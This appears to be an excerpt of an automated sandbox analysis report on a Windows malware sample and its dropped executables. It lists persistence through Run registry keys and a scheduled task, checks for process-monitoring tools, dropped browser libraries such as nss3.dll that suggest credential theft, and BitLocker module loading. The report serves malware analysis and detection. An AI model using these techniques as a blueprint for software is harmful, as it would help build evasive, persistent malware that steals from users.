Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI58162\_overlapped.pyd	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe

File created: C:\Users\user\AppData\Local\Temp\_MEI58162\setuptools\_vendor\wheel-0.43.0.dist-info\LICENSE.txt

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run a48f6ed5ed.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 334592f815.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8a0ebcc2e0.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6319f0cc28.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\random(4).exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\Documents\FIJDGIJJKE.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\Documents\FIJDGIJJKE.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\Documents\FIJDGIJJKE.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\Documents\FIJDGIJJKE.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\Documents\FIJDGIJJKE.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1028932001\13f4808de9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1028932001\13f4808de9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1028932001\13f4808de9.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1028932001\13f4808de9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1028932001\13f4808de9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6319f0cc28.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6319f0cc28.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 334592f815.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 334592f815.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run a48f6ed5ed.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run a48f6ed5ed.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8a0ebcc2e0.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8a0ebcc2e0.exe	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe

Code function: 4_2_6BF755F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

4_2_6BF755F0

Source: C:\Users\user\Desktop\random(4).exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\random(4).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process information set: NOOPENFILEERRORBOX
